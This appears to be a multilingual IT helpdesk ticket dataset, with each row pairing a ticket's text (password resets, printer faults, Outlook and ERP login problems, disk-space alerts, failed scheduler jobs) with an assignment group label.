reset SID_34,GRP_0 +dw06 print job error dw06 print job error,GRP_0 +"druker _x000D_ +_x000D_ +received from: xahuklgm.dqvkfjlb@gmail.com_x000D_ +_x000D_ +drucker defekt_x000D_ +_x000D_ +_x000D_ +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung._x000D_ +[#+company/posts> [_x000D_ +select the following link to view the disclaimer in an alternate language. ",GRP_33 +"unable to login to impact award unable to login to impact award_x000D_ +tried password reset but was not able to remember security question",GRP_0 +need link to access outlook web mail need link to access outlook web mail,GRP_0 +account locked out account locked out ,GRP_0 +"performance problems in different applications / programdntyms performance problems with erp, ieas and EU_tool._x000D_ +especially several timeout errors in EU_tool in the search functions. (see attachment) over the complete day.",GRP_25 +downloading or copying collaboration_platform files to purchasing i want to upload directly to purchasing pdf files that are saved in a collaboration_platform file. can this be done? was told to open ticket and have assigned to collaboration development group. xszoedmc.gmhkdsnw@gmail.com or skype.,GRP_16 +"cannot print to cl92 ever since a recent workstation move, i am unable to print to cl92. before the move, i printed to cl92 regularly. since the move, any attempt to print to cl92 prompts me to install the driver. which i do, but the print job fails regardless.",GRP_0 +"receiving product in logical warehouse (plant_100) batch is required when using migo/goods receipt to receive product into plant_100 batch information is required to process. it has begun to happen more frequently over the past month. the following rqfhiong zkwfqagbs are examples as to where this has occurred. mm 4977683, 4978280, 4977686 and 2286073.",GRP_54 +need to setup a aolhgbps pbxqtcek in SID_21 and SID_1 and in active directory need to create the aolhgbps pbxqtcek in active directory and assign groups miioperatordev and miioperatorqa. let barrtyh know when the aolhgbps pbxqtcek is ready.,GRP_2 +HostName_170: volume: /dev/SID_3ora on server: HostName_170 is over 98% space consumed. space available: 490 m HostName_170: volume: /dev/SID_3ora on server: HostName_170 is over 98% space consumed. space available: 490 m,GRP_1 +calendar is not visible by manager calendar is not visible by manager ,GRP_0 +probleme mit EU_tool \fehler beim auftrag abmelden \ypladjeu wzfryxav probleme mit EU_tool \fehler beim auftrag abmelden \ypladjeu wzfryxav,GRP_24 +"basis on-call / shift details... _x000D_ +_x000D_ +received from: mnxbeuso.rfmdlwuo@gmail.com_x000D_ +_x000D_ +dac / gso –_x000D_ +_x000D_ +basis on-call details has been modified and the modified is placed in the below location in the collaboration_platform. please update your records accordingly._x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"is the finance_app system still down we need this system to retrieve financial information for our quarterly closing is the finance_app system still down_x000D_ +we need this system to retrieve financial information for our quarterly closing",GRP_55 +laptop byclpwmv esafrtbh defekt laptop byclpwmv esafrtbh defekt,GRP_33 +ess password reset ess password reset,GRP_0 +"mr. guruythupyhtyad is still not able to open the folder ie., m:\mtb project mgmt\servicing from: jayatramdntydba cvyg +sent: wednesday, october 12, 2016 2:09 pm +to: nwfodmhc exurcwkm +cc: bhayhtrathramdnty mamilujli; amihtar lalthy +subject: fw: ticket_no1557371:new non-employee :gurublxkizmh nvodbrfluppasadabasavaraj:vvkuthyrppg + +hello, + +mr. guruythupyhtyad is still not able to open the folder ie., m:\mtb project mgmt\servicing. please look into this subject and provide access. + +best ",GRP_12 +"deployment notification - ms .net framdntyework 4.6.1 & business_client 5.0 SID_792 - emea - issue _x000D_ +_x000D_ +received from: qaohugxw.kdeqjncw@gmail.com_x000D_ +_x000D_ +i got an error message after 2 minutes_x000D_ +i think that update has not been done correctly ._x000D_ +could you please check my computer._x000D_ +_x000D_ +best ",GRP_0 +"druckerprobleme mit em021 in germany _x000D_ +_x000D_ +received from: mobaidfx.gviwlsrm@gmail.com_x000D_ +_x000D_ +hallo zusammen,_x000D_ +_x000D_ +der drucker em021 druckt nicht mehr über die eingabe „briefkopf""._x000D_ +bitte einstellungen korrigieren._x000D_ +_x000D_ +danke vorab._x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_42 +"need help _x000D_ +_x000D_ +received from: axcbfuqo.yiagubvh@gmail.com_x000D_ +_x000D_ +good morning,_x000D_ +i am in trouble with my password._x000D_ +i changed the password and i have the possibility to be connected to my e-mail and connection to various areas._x000D_ +but i still have my old password to start my computer._x000D_ +if i request to change my password using ctrl alt delete and change the password, it is not working._x000D_ +can you help, ",GRP_0 +"software ""babiluntr"" does not work software ""babiluntr"" does not work",GRP_42 +"display link not working + +received from: pxbqkfgm.qexvrmcn@gmail.com + +hello, + +my laptop's display link is not working. pls. help. +message comes as ""could not recognize usb device."" + +vivthyek byuihand +asst manager- sales +company india ltd, india. + + +[cid:image009.jpg@01SID_35d8e.07ce5550] + + + +",GRP_19 +"need display link adaptor and simcard holder _x000D_ +_x000D_ +received from: zdgxtfqs.tibmhxcs@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +please note that my display link adaptor is not working, kindly arrange a replacement._x000D_ +_x000D_ +also i need new data card sim-card holder for my laptop._x000D_ +_x000D_ +_x000D_ +best ",GRP_19 +"copy of desktop files + +received from: hjcpyxtq.okycpbsz@gmail.com + +kindly copy the desktop files of prithivrtyaj (user id: vvyhtyumasp) to guruythupyhtyad (vvkuthyrppg) local folder. + +pc no : awyw8911888 + + +",GRP_19 +"telephony_software via remote number + +received from: gmwdvrou.aupnvems@gmail.com + +hello team, + +i´ve got a problem – i can´t call while working remote +can you help? +",GRP_7 +outlook repeatedly asking for passwords outlook repeatedly asking for passwords,GRP_0 +probleme mit EU_tool \tmqfjard qzhgdoua probleme mit EU_tool \tmqfjard qzhgdoua,GRP_24 +"bitte einen ordner im teams laufwerk fürth anlegen + +received from: osjqfbvw.hlmgrfpx@gmail.com + +würden sie bitte einen ordner im teams laufwerk fürth anlegen. + +name: hr-tr + +voller zugriff: rtnzvplq erhmuncq + rtgdcoun pngufmvq + naruedlk mpvhakdq + efodqiuh tpfnzkli + rcwpvkyb exgjscql + gabryltke schütt + + +vielen dank. + +gabryltke schütt +human resources +osjqfbvw.hlmgrfpx@gmail.com + + +company shared services gmbh +geschäftsführer: phvkowml azbtkqwx, naruedlk mpvhakdq + + + +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung. +[#+company/posts> [ +select the following link to view the disclaimer in an alternate language. ",GRP_12 +"job dir failed in job_scheduler at: 10/12/2016 06:04:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job dir failed in job_scheduler at: 10/12/2016 06:04:00",GRP_5 +"request lauacyltoe hxgaycze version outlook update. _x000D_ +_x000D_ +received from: luxdnsvk.qmnyzcfs@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +_x000D_ +my laptop currently has 2010 version of microsoft outlook._x000D_ +kindly help me in getting the lauacyltoe hxgaycze version of the same._x000D_ +_x000D_ +with best ",GRP_0 +"latitude tab 7350 not detecting the telecom_vendor_3 broadband sim latitude tab 7350 not detecting the telecom_vendor_3 broadband sim + +phone: ",GRP_19 +"owner of the group ""k-bhty-plc4-yhhm-er"" is not available and has gave approval owner of the group ""k-bhty-plc4-yhhm-er"" is not available and has gave approval to add ploxzuts utvimnwo attaching the approval mail + +from: thvnfs anyhusppa +sent: wednesday, october 12, 2016 3:19 pm +to: gzjtweph mnslwfqv +subject: fw: inc1558231 : add my name to distribution lists + +fyi… + +with best ",GRP_0 +"gso hotline not working gso hotline not working. new as well old numbers tried, user are getting welcome message after that it is blank nothing can be heard.",GRP_37 +reset the password for wcrbmgon kcudbnrw on e-mail reset the password for wcrbmgon kcudbnrw on e-mail,GRP_0 +maschinen pc r239 ohne funktion -> bitte prüfen maschinen pc r239 ohne funktion -> bitte prüfen,GRP_33 +"faxen von purchase orders direkt aus der po schlägt seit gestern für alle fehl. faxen von purchase orders direkt aus der po schlägt seit gestern für alle fehl._x000D_ +faxing from the purchase orders directly from the po has been unsuccessful since yesterday.",GRP_29 +rechner für erodiermaschine defekt \youfzmgp xvysrnmb rechner für erodiermaschine defekt \youfzmgp xvysrnmb,GRP_24 +"reset the password for xbsckemt durnfyxb on sonstiges hallo,_x000D_ +bitte nur das passwort für ""appricatehub.com"" (impact award) zurücksetzen, da auch die sicherheitsfrage: ""wie hieß die erste schule, die sie besucht haben?"" nicht korrekt beantwortet werden kann._x000D_ +danke.",GRP_0 +"new customer:81055992 has some problme i have created new customer account 81055992 in 1333, but it has a problem, it showns ""customer 81055992 is markhtyed for deletion in the sales area selected"". please help handle it, ",GRP_15 +"in outlook ,i am not getting pauhtul.phillyhuip@company.com mails in outlook ,i am not getting pauhtul.phillyhuip@company.com mails +____________________ +ic + welcome, our next available agent will be with you shortly... + interaction alerting agent. +govind + hello +ic + website visitor has joined the conversation +dwfiykeo argtxmvcumar3 + hello +    ,   please click on the link, run it twice. give me the id & password. +govind23 + few days back i created folder for pollaurid messages +dwfiykeo argtxmvcumar3 + ok + please provide me access to your system +govind23 + its not working to me. can you send me teamviewer +dwfiykeo argtxmvcumar3 + + please try this link +govind23 + 376 775 252 (tinyurl) + 8054(tinyurl) +",GRP_0 +"archiving_tool viewer archiving_tool 10.0 has been installed on my pc but i can't view attachments in erp._x000D_ +could you please help me ?_x000D_ +_x000D_ +",GRP_0 +unable to submit lean tracker unable to submit lean tracker,GRP_0 +"job Job_459 failed in job_scheduler at: 10/12/2016 04:44:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_459 failed in job_scheduler at: 10/12/2016 04:44:00",GRP_8 +maus defekt \niptbwdq csenjruz maus defekt \niptbwdq csenjruz,GRP_24 +probleme mit ws cad \wsboedtj yvlswgxb probleme mit ws cad \wsboedtj yvlswgxb,GRP_24 +"engineering tool - urgent customer drawing change - replace of file not possible !!!! 1.) briefly describe what you were trying to do and the issue you have encountered._x000D_ +it is not possible to ""replace the original file"" as the following error messages occurs._x000D_ +please refer to the attached picture:_x000D_ +2.) please include a screenshot of any error messages_x000D_ +_x000D_ +_x000D_ +",GRP_11 +"outlook on laptop won't startup anymore. errormessage name:tuzkadxv rxloutpn +language: +browser:microsoft internet explorer +email:tuzkadxv.rxloutpn@gmail.com +customer number: +telephone: +summary:outlook on laptop won't startup anymore. errormessage + +""a new guard page for the stack cannot be created",GRP_0 +"unable to create sto_mm 7340903 and mm 6239893 we're unable to create sto for mm# 7340903 per pr# 4121896402/00001 and mm# 7340904 per purrqs 4121803106/00001 , found the error message as per attached please help fixing this error and advise back to us aerp. ",GRP_29 +"probleme mit skype _x000D_ +_x000D_ +received from: fmhlugqk.dpraethi@gmail.com_x000D_ +_x000D_ +hallo liebe kollegen/kolleginnen,_x000D_ +_x000D_ +ich kann skype nicht starten. kommt immer diese fehlermeldung:_x000D_ +[cid:image001.png@01d22469.6086f8f0]_x000D_ +_x000D_ +üdvözlettel / mit freundlichen grüßen / best ",GRP_0 +accound locked in ad accound locked in ad,GRP_0 +"error login on to the SID_34 system. error login on to the SID_34 system._x000D_ +-verified user details.(employee# & manager name)_x000D_ +-user has tried the password_management_tool pwd manager._x000D_ +-unlocked the erp id._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"sales record + +received from: rdfjsawg.zpmxgdcw@gmail.com + +from: amy li +sent: tuesday, october 11, 2016 8:08 pm +to: pradyhtueep yyufs +cc: mthyn xiyhtu; jtyhnifer luntu; ayhtrvin yzhao ; crysyhtal xithya ; mathgie ztyhng ; alvrhn twhyang ; xamtgvnw usdekfzq +subject: re: sales record + +prathryep, + +we want to understand why the cost is high for mm7201504 in 5319, plant_283, we select one example. +mm 7201504 +this mm is manufactured in plant_304, ship to plant_283. +sales order 35729979/30 +relevant dn 9169339940 and 9169306146 +intercompany billing 0159162480 +billing in plant_283 0159163814 +shipment cost in plant_304 rmb892.17( we didn't understand why the cost in plant_304 is so high),it is delivery on sep 25 in plant_304 +sales cost in plant_283 is rmb892.12 (this is from margin report in 5319 plant_283, why it is so high?) +std cost in plant_304 is rmb624,15 +cost in plant_304 is rmb772.19 based on lot size 80( the qty. is same as sales order) + +",GRP_44 +"5323 - credit limit revision for company tooling and company distributors _x000D_ +_x000D_ +received from: rdfjsawg.zpmxgdcw@gmail.com_x000D_ +_x000D_ +from: yhmwxsqj ugnthxky_x000D_ +sent: wednesday, october 12, 2016 11:37 am_x000D_ +to: pradyhtueep yyufs _x000D_ +subject: fw: credit limit revision_x000D_ +_x000D_ +pradtheyp,_x000D_ +_x000D_ +please look into the revision request of company tooling and company credit limit of distributors._x000D_ +_x000D_ +this is one of the ia point and schedule closure was 30th sep'16._x000D_ +_x000D_ +need your support to complete this activity so that we can respond to ia team for closure of this point._x000D_ +_x000D_ +best ",GRP_10 +account is getting locked daily account is getting locked daily,GRP_2 +"unlock my erp account _x000D_ +_x000D_ +received from: jqpvitdw.vitsrceq@gmail.com_x000D_ +_x000D_ +hello_x000D_ +could you please help to unlock my erp SID_34 account_x000D_ +my user id is lilp_x000D_ +_x000D_ +",GRP_0 +"error login on to the SID_34 system. error login on to the SID_34 system._x000D_ +-verified user details.(employee# & manager name)_x000D_ +-user has tried the password_management_tool pwd manager._x000D_ +-unlocked and reset the erp id to""daypay3""._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"engineering tool / kpm project numbers not in the right order! _x000D_ +_x000D_ +received from: ucphibmr.dfvkbtsj@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +about the engineering tool:_x000D_ +the kpm project numbers are numerirtcal not in the right order anymore!_x000D_ +_x000D_ +",GRP_25 +lan connection in training room 3 not workig - also need mini-dp to vga adapter lan connection in training room 3 not workig - also need mini-dp to vga adapter,GRP_28 +HostName_97: disk space on e:\ label:dat1-HostName_97 is 99% consumed available space is 4.6gb out of 625gb HostName_97: disk space on e:\ label:dat1-HostName_97 is 99% consumed available space is 4.6gb out of 625gb,GRP_12 +"solid works issue: when trying to give print , solid work crashes. solid works issue: when trying to give print , solid work crashes._x000D_ +_x000D_ +===see attachment===_x000D_ +-ph: 411_x000D_ +-ph:0774430915_x000D_ +-",GRP_19 +"outlook configuration for new mobile handset _x000D_ +_x000D_ +received from: ckswypji.vrucgqna@gmail.com_x000D_ +_x000D_ +hi,_x000D_ + request your support to configure settings for outlook mails on my new motorola- moto g4 plus handset._x000D_ +_x000D_ +",GRP_0 +"help to change the windows password using password_management_tool password tool. help to change the windows password using password_management_tool password tool._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user login to the password_manager_tool password tool and change the passwords._x000D_ +-help the user to sync the psswords to the company network._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"not able to login into ethics _x000D_ +_x000D_ +received from: kxmidsga.zokivdfa@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +i am not able to login in ethics portal to complete the course_x000D_ +kindly do needful._x000D_ +_x000D_ +error screen shot attached for reference ._x000D_ +_x000D_ +[cid:image001.jpg@01d22471.89b858b0]_x000D_ +_x000D_ +with best ",GRP_23 +reset passwords for eglavnhx uprodleq using password_management_tool password reset. the,GRP_17 +"job bwhrertran failed in job_scheduler at: 10/12/2016 00:22:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bwhrertran failed in job_scheduler at: 10/12/2016 00:22:00",GRP_9 +impacts awards login issue impacts awards login issue,GRP_0 +"mm:pur_req_ko assign for user: yeyhtung kimthy (vvkuimtyu) SID_34 system mm:pur_req_ko assign for user: yeyhtung kimthy (vvkuimtyu) SID_34 system._x000D_ +_x000D_ +from: alkuozfr bhqgdoiu _x000D_ +sent: tuesday, october 11, 2016 4:51 pm_x000D_ +to: sudghhahjkkarreddy rangini; dbwkxalj cnhgysju_x000D_ +cc: suhtnhdyio psfshytd; seocompanyxv syxewkji; -erp-purchasing; k-hr-global datateam_x000D_ +subject: re: ticket_no1543692: erp - additional access_x000D_ +_x000D_ +this role has been requested and i have approved it numerous times in the past._x000D_ +the role is approved._x000D_ +_x000D_ +this will still not resolve the issue at hand. that issue will deal with the users attributes and possibly with hr org data._x000D_ +please loop in the erp:purchasing team and the global hr data team to get this completed._x000D_ +hell_x000D_ +doug englehart_x000D_ +manager global sourcing systems_x000D_ +alkuozfr.bhqgdoiu@gmail.com_x000D_ +t +1 724 539 5257_x000D_ +m +1 724 331 7610_x000D_ +f +1 724 539 5744_x000D_ +_x000D_ +company inc. | 1600 technology way | usa, pa 15650 | www.company.com_x000D_ +_x000D_ +from: sudghhahjkkarreddy rangini _x000D_ +sent: wednesday, september 21, 2016 7:17 am_x000D_ +to: alkuozfr bhqgdoiu; dbwkxalj cnhgysju_x000D_ +cc: suhtnhdyio psfshytd; seocompanyxv syxewkji_x000D_ +subject: re: ticket_no1543692: erp - additional access_x000D_ +_x000D_ +hi douglas,_x000D_ + _x000D_ +below purchase role not assigned to users. _x000D_ +_x000D_ +is it may the issue? can you please check and if needs to be assign below role to user: seocompanyxv syxewkji (vvkuimtyu) SID_34 system, please provide your approval for the same._x000D_ + _x000D_ +role: mm:pur_req_ko_x000D_ + _x000D_ +_x000D_ +",GRP_29 +"user needs help to create delivery. _x000D_ +_x000D_ +received from: gjtyswkb.dpvaymxr@gmail.com_x000D_ +_x000D_ +dear it,_x000D_ +_x000D_ +would you pls help to check , ",GRP_0 +"job pp_EU_tool_netch_ap2 failed in job_scheduler at: 10/11/2016 22:28:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap2 failed in job_scheduler at: 10/11/2016 22:28:00",GRP_8 +"error login on to the mii system. error login on to the mii system._x000D_ +-verified user details.(employee# & manager name)_x000D_ +-unlocked and reset the erp id to""daypay3""._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +账户被锁定 用户忘记密码，导致账户锁定,GRP_48 +输入用户名和密码后显示出错 登录时输入用户名和密码后，显示用户名和密码错误,GRP_48 +HostName_1002 : volume: j:\ label:dat5-HostName_1002 8e944afe on server: HostName_1002 is over 85% space consumed. space available: 1.5 HostName_1002 : volume: j:\ label:dat5-HostName_1002 8e944afe on server: HostName_1002 is over 85% space consumed. space available: 1.5 g,GRP_1 +amssm003 : volume: c:\ 94ef9088 on server: is over 85% space consumed. space available: 2.5 g amssm003 : volume: c:\ 94ef9088 on server: is over 85% space consumed. space available: 2.5 g,GRP_12 +账户被锁定 用户账户锁定，请求解锁,GRP_48 +unable to log in to collaboration_platform unable to log in to collaboration_platform ,GRP_0 +"job bkwin_HostName_768_inc failed in job_scheduler at: 10/11/2016 19:54:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_HostName_768_inc failed in job_scheduler at: 10/11/2016 19:54:00",GRP_8 +ticket update on inc1559662 ticket update on inplant_868551,GRP_0 +no power on the laptop no power on the laptop,GRP_3 +"erp logon + +received from: hwrxutgm.fjlwmson@gmail.com + +i changed my password through password_management_toolpasswordmanager and when i attempt to logon to erp my password is not recognized. + +mthyike voyyhuek +senior materials engineer +hwrxutgm.fjlwmson@gmail.com + +",GRP_0 +产品与仓库对不上 产品所在仓库出错。 st6p -100/+325 批号16-9-16,GRP_48 +开机黑屏 电脑启动后黑屏，主机无报警,GRP_48 +outlook重复要求输入密码 outlook密码框反复弹出，要求输入密码，不能接收邮件,GRP_48 +unable to update passwords using password_management_tool link unable to update passwords using password_management_tool link,GRP_0 +"usa's file server not responding, appears to have crashed. usa's file server not responding, appears to have crashed.",GRP_12 +ticket update on inplant_868533 ticket update on inplant_868533,GRP_0 +"cannot send email to this customer from: rolcgqhx ehndjmlv +sent: tuesday, october 11, 2016 11:28 am +to:communication +subject: help + +please let me know why i cannot send email to this customer + +best ",GRP_26 +ticket update on ticket_no0448515 ticket update on ticket_no0448515,GRP_0 +please reset my pass word for s&op. please reset my pass word for s&op.,GRP_0 +"provide network access rights to fuydxemo fntmbpla that match tyyhtuler hiyhtull provide network access rights to fuydxemo fntmbpla that match tyyhtuler hiyhtull + +hello, + +could you please provide network access rights to fuydxemo fntmbpla that match tyyhtuler hiyhtull? + +access like who person name : tyyhtuler hiyhtull [hiyhllt] +manager name/ user id : vnjwsadx iltywzjm- [fidleyhtjp] + + +best ",GRP_12 +unable to take ethics course unable to take ethics course,GRP_0 +2nd monitor is bright yellow & gtehdnyu once it warms up. 2nd monitor is bright yellow & gtehdnyu once it warms up.,GRP_3 +discount form issue ; infopath discount form issue ; infopath,GRP_0 +prtqi7307 and 7280 malfunction prtqi7307 and 7280 malfunction,GRP_3 +"need print to pdf software need adobe professional or any software that has option to print to pdf_x000D_ +computer name--lacl7404951",GRP_3 +user was unable to open reporting_tool user was unable to open reporting_tool,GRP_0 +the finance_app system is down. i need someone in the db group to verify that the oracle database is up and running. finance_app system is down. i need someone in the database admin group to verify that the database hfmp on server HostName_1136 is up and running. ,GRP_55 +laptop cannont access companysecure or companyguest wifi in corporate center building i recently received a 16gb engineering laptop to use for work. i currently work in the tech. center building where both wired (docked) connection and wifi (company secure) work fine. i have been in two meetings today in the corporate center building where i cannot connect to any secure wifi network. this has been frustrating since i usually require my laptop with internet to some extent in any meeting. please assist. ,GRP_0 +account locked out account locked out ,GRP_0 +cyber security - phish uacyltoe hxgaycze report october 2016 cyber security - phish uacyltoe hxgaycze report october 2016,GRP_2 +"cannot access usa or usa collaboration_platform documents when i try to open documents, i am prompted to enter my email address, then password, and then the process repeats. i did change my password today, but don't know if that has anything to do with it.",GRP_0 +i get a mysterious java error on every boot of my laptop. i get a mysterious java error on every boot of my laptop.,GRP_3 +"email + +received from: raifstow.gfeymtql@gmail.com + +i need to have k-rckfthy grind added to my microsoft email. + +",GRP_0 +cannot print on 11x17 paper on new xerox prtqx4602 cannot print on 11x17 paper on new xerox prtqx4602,GRP_3 +password reset and access to reporting_engineering_tools password reset and access to reporting_engineering_tools,GRP_0 +"skype meeting issues during skype meetings, i have been unable to use skype calls. i get the message that my speaker is not working and it will not connect me to audio. this happened yesterday for one call and then it worked later in the day. today i have not been able to join via skype. my same headset works fine for telephone calls, so i do not believe it is my headset.",GRP_0 +"die synchronisierung mit exchange activesync ist auf ihrem gerät vorübergehend blockiert, bis der zugriff vom administra from: lhejbwkc xbmyvnqf _x000D_ +sent: tuesday, october 11, 2016 5:48 pm_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: dan fw: die synchronisierung mit exchange activesync ist auf ihrem gerät vorübergehend blockiert, bis der zugriff vom administrator gewährt wird._x000D_ +importance: high_x000D_ +_x000D_ +dear all_x000D_ +_x000D_ +please activate my new iphone, it is a company owned device._x000D_ +_x000D_ +",GRP_0 +"defect scanner/printer ""vh42-plant manager/controlling"". from: byclpwmv esafrtbh +sent: tuesday, october 11, 2016 7:47 pm +to: nwfodmhc exurcwkm +cc: geoyhtrge wuryhtudack +subject: trurthyuft wg: ticket für drucker + +hello help-team, + +pls enter a ticket regarding defect scanner/printer ""vh42-plant manager/controlling"". +local it is already working on that (with external supplier). +just to make sure all work is tracked… + +thx +marfhtyio + +mit freundlichen grüßen / best ",GRP_33 +ticket update on ticket_no0447085 ticket update on ticket_no0447085,GRP_0 +"is there cert open for the usa telephone system outage / disruption? _x000D_ +_x000D_ +received from: oxlqvika.zrvbahym@gmail.com_x000D_ +_x000D_ +it's been down for long distance most of the day …_x000D_ +_x000D_ +justrgun_x000D_ +_x000D_ +",GRP_37 +"password reset from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com] +sent: tuesday, october 11, 2016 6:35 pm +to: nwfodmhc exurcwkm +cc: tiyhum kuyiomar +subject: rohit request to reset microsoft online services password for wjdatzyv.bhkoldjv@gmail.com +importance: high + + request to reset user's password + the following user in your organization has requested a password reset be performed for their account: + +• wjdatzyv.bhkoldjv@gmail.com +• first name: ncoileu +• last name: boeyhthm + +consider contacting this user to validate this request is authentic before continuing. + +if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user. + +want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks. + +sincerely, +company inc. + + + this message was sent from an unmonitored email address. please do not reply to this message. + + + + + +",GRP_0 +"supply_chain_software password reset from: ftnijxup sbltduco +sent: tuesday, october 11, 2016 1:20 am +to: jmxrabzy dpyvjcxr; nwfodmhc exurcwkm +subject: rakthyesh re: finished: start of s&op process + +help desk, +please check johthryu's account in supply_chain_software. + +",GRP_0 +"customer unable to hear user on telephony_software i am signed in to both telephony_software and crm. i am using a soft phone and when the phone rings i select pick up in crm to answer the call and no one can hear me' + +telephony_software extension number:-154800 +system name-lfml8517753 +call back number-",GRP_7 +"monitoring_tool is has detected an event in the windows event log with id:50410 on host: HostName_992 & HostName_993 monitoring_tool is has detected an event in the windows event log with id:50410 on host: HostName_993_x000D_ +monitoring_tool is has detected an event in the windows event log with id:50410 on host: HostName_992",GRP_14 +phone issue phone issue,GRP_0 +windows password reset windows password reset,GRP_0 +"issue with hr_tool when i try to put in a vacation request in hr_tool, the requests do not show on the calendar. i need to cancel some dates but they don't show up for me to cancel them. my supervisor cannot see my requests either",GRP_0 +"7350 : audio issue +summary:since outlook crashed yesterday the speakers on 2n1 device do not work. last week a bios upgrade was run to get speakers working again",GRP_0 +outlook issue : crashing and not responding outlook issue : crashing and not responding ,GRP_0 +"helped user with crm site and : helped user with crm site and : _x000D_ +also helped user with vendor number .",GRP_0 +ticket update on : ticket_no0447258 ticket update on : ticket_no0447258,GRP_0 +"password_management_tool password manager ? _x000D_ +_x000D_ +received from: itjzudor.ybtmorxp@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +where do i find the password_management_tool password manager ?_x000D_ +_x000D_ +",GRP_0 +vip 2: windows account unlock vip 2: windows account unlock,GRP_0 +unable to reply to emails unable to reply to emails,GRP_0 +"outlook is unable to connect + +received from: gacfhedw.iqustfzh@gmail.com + +hello team, + + +my outlook is unable to connect to mailserver, this happened just after i renewed my passwords over password_management_tool password manager upon an email notification. i do not have any problems in connecting emails over office 365 web, or in skype business.. + + +could you please take a look? + + +user: gokcerthy + +computer: aisl8111131 + + +",GRP_0 +"i̇lt: outlook is unable to connect + +received from: gacfhedw.iqustfzh@gmail.com + +________________________________ +gönderen: gacfhedw iqustfzh +gönderildi: 11 ekim 2016 salı 16:03 +kime: nwfodmhc exurcwkm +konu: outlook is unable to connect + + +hello team, + + +my outlook is unable to connect to mailserver, this happened just after i renewed my passwords over password_management_tool password manager upon an email notification. i do not have any problems in connecting emails over office 365 web, or in skype business.. + + +could you please take a look? + + +user: gokcerthy + +computer: aisl8111131 + + +",GRP_0 +password_management_tool password manager queries and password reset password_management_tool password manager queries and password reset ,GRP_0 +"please provide ip for our 5 users 发件人: white, ben +发送时间: 2016年10月11日 9:00:30 +收件人: eva li; dyhtuiel.hiyhugins@company.com; stefyty parkeyhrt +抄送: haiwei.liang@hr_tool.com; patience, rob +主题: re: company intepmov imjukbqhing plan + +hi eva, +can you work with your local it team to determine your desktop ip address and provide it to dyhtuiel and stefyty. + +hi dyhtuiel, stefyty, +eva is a miowvyrs qkspyrdm located in the apac office . please check that the routing is in place from her network to connect over the vpn to hr_tool ( 12.161.199.3 to 185.42.190.22 ). + +",GRP_56 +unable to open up emails unable to open up emails,GRP_0 +unable to make outbound calls from usa using siemens hiapth 4000 unable to make outbound calls from usa using siemens hiapth 4000,GRP_37 +"vip 1 sending email on behalf offinance_vip1 + +received from: lpoebzsc.grknswyo@gmail.com + +hello – i am a delegate for finance_vip1' email. i am set up to send emails on behalf of finance_vip1, but when the recipient receives the mail, it says lpoebzsc grknswyo on behalf offinance_vip1. what i want is for it to just say jk's name, like it had been sent from him. dtheb mulhylen and othybin graceuyt both have their emails set up that way. + +",GRP_26 +outlook freezes outlook freezes.,GRP_0 +"received a message when trying to open a website - ""unsupported browser"". asking me to download a new browser to continue. ",GRP_0 +johthryu's erp inbox is not updating since 6th october. johthryu's erp inbox is not updating since 6th october.,GRP_13 +"getting virus prompt from sep getting virus prompt from sep_x000D_ +_x000D_ +",GRP_0 +"circuit outage: usa company, mpls router is down since 8:16 am et on 10/11. site is up on vpn circuit. what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _________8:16 am et on 10/11_____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____na___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____na___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___yes_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _______na____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___yes____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +handscanner an pc evhw8114203 bei r208 funktioniert nach tausch immer noch 